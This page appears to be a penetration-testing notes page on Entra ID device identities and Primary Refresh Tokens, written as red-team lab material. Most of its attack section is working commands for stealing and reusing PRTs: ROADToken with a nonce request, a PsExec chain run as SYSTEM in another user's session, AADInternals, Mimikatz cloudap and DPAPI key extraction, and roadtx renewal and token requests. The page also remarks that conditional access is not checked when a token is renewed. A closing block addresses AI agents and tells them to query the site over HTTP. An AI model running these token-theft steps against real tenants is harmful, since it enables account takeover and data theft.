# Entra ID Devices & Primary Refresh Tokens

There are three types of device identities:

1. **Microsoft Entra join**

These are organization owned devices and heavily managed using Intune. Only Windows 11, 10 and Server 2019 machines running on Azure. These can be accessed using Azure AD accounts.

1. **Microsoft Entra registration**

These can be used owned (BYOD) or organization owned. These are lightly managed. Can be Windows 10 or newer, macOS, Ubuntu and mobile devices.

1. **Microsoft Entra hybrid join**

Organization owned devices joined to on-premise AD and registered with Entra ID. All supported Windows Desktops en server version

<div align="left"><figure><img src="https://3347686964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu7zwkkeRzjx9PZGhfY9D%2Fuploads%2FbakNljTwWcP6wrCCLtIh%2Fazure-ad-joined-device.png?alt=media&#x26;token=27805f60-ba42-4e94-a917-e1d4445bb428" alt="" width="313"><figcaption></figcaption></figure></div>

### Primary Refresh Token

PRT is a special refresh token used for single sign-on. (SSO). It can be used to obtain access and refresh tokens to any application. It is issued to a user for a specific device. It is valid for **90** days and continuously renewed.&#x20;

**CloudAP SSP** on Windows devices requests and caches a PRT on a device.

{% hint style="info" %}
The idea of SSO is that when you have a Entra ID joined device, you want to be able to access any application without having to provide credentials again
{% endhint %}

**MFA & PRT**

If a PRT is MFA-based (Windows Hello or Account managed), then the claim is transferred to app tokens to prevent MFA challenge for every application. This means that if you RDP into a machine, it is not MFA based and the claim is not transferred.

### Extract the PRT (Pass-the-PRT)

If we have access to a PRT, it is possible to request access tokens for any application. First check if there is a user AzureAD\username

```powershell
Get-Process -IncludeUserName
```

Using ROADToken:

```powershell
ROADToken.exe <nonce>
```

Request Nonce:

```powershell
$TenantId = "2d50cb29-5f7b-48a4-87ce-xxxx"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
```

Next, run the following command to execute from system privileges in the session of the Azure AD user ROADToken.exe:

```powershell
Invoke-Command -Session $infraadminsrv -ScriptBlock{C:\Users\Public\student60\PsExec64.exe -accepteula -s "cmd.exe" " /c C:\Users\Public\student60\SessionExecCommand.exe MichaelMBarron C:\Users\Public\student60\ROADToken.exe AwABEgEAAAADAOz_BQD0_yt2x3cdZplKFPI7ne9soLemwZfxfXDveVCG1B3Zw_irkrK0oTfhPUHZTp0RhL9nrFgBxb3GuXd1jf2v83BptRYgAA > C:\Users\Public\student60\PRT.txt"}
```

AADInternals

```powershell
Get-AADIntUserPRTToken
```

Mimikatz

```
Sekurlsa::cloudap
```

### Mimikatz extract PRT, sessionkey and renew using Roadtx

First using mimikatz cloudap, extract the key value and the PRT itself:

```
Sekurlsa::cloudap
```

<figure><img src="https://3347686964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fu7zwkkeRzjx9PZGhfY9D%2Fuploads%2FDokpv1wfMielMhM1O9xy%2Fimage.png?alt=media&#x26;token=3da36df5-0a23-4521-b7eb-9c8eda76d3af" alt=""><figcaption></figcaption></figure>

Copy the key value and PRT. Next, use `dpapi`to extract the session key:

```
dpapi::cloudapkd /keyvalue:<VALUE> /unprotect
```

Finally, use roadtx to renew and save the PRT:

```powershell
roadtx prt -a renew --prt <PRT> --prt-sessionkey <SESSION-KEY>
```

{% hint style="info" %}
When a PRT is renewed conditional access is **NOT** checked
{% endhint %}

Now we can request a access token for azure resource manager:

```powershell
roadtx prtauth -c azps -r azrm --tokens-stdout
```

Or for MSGraph:

```powershell
roadtx prtauth -c azps -r msgraph --tokens-stdout
```

Or open a browser with the token already in place:

```powershell
roadtx browserprtauth -url https://portal.azure.com
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.incendium.rocks/pentesting-notes/cloud/azure/lateral-movement/entra-id-devices-and-primary-refresh-tokens.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
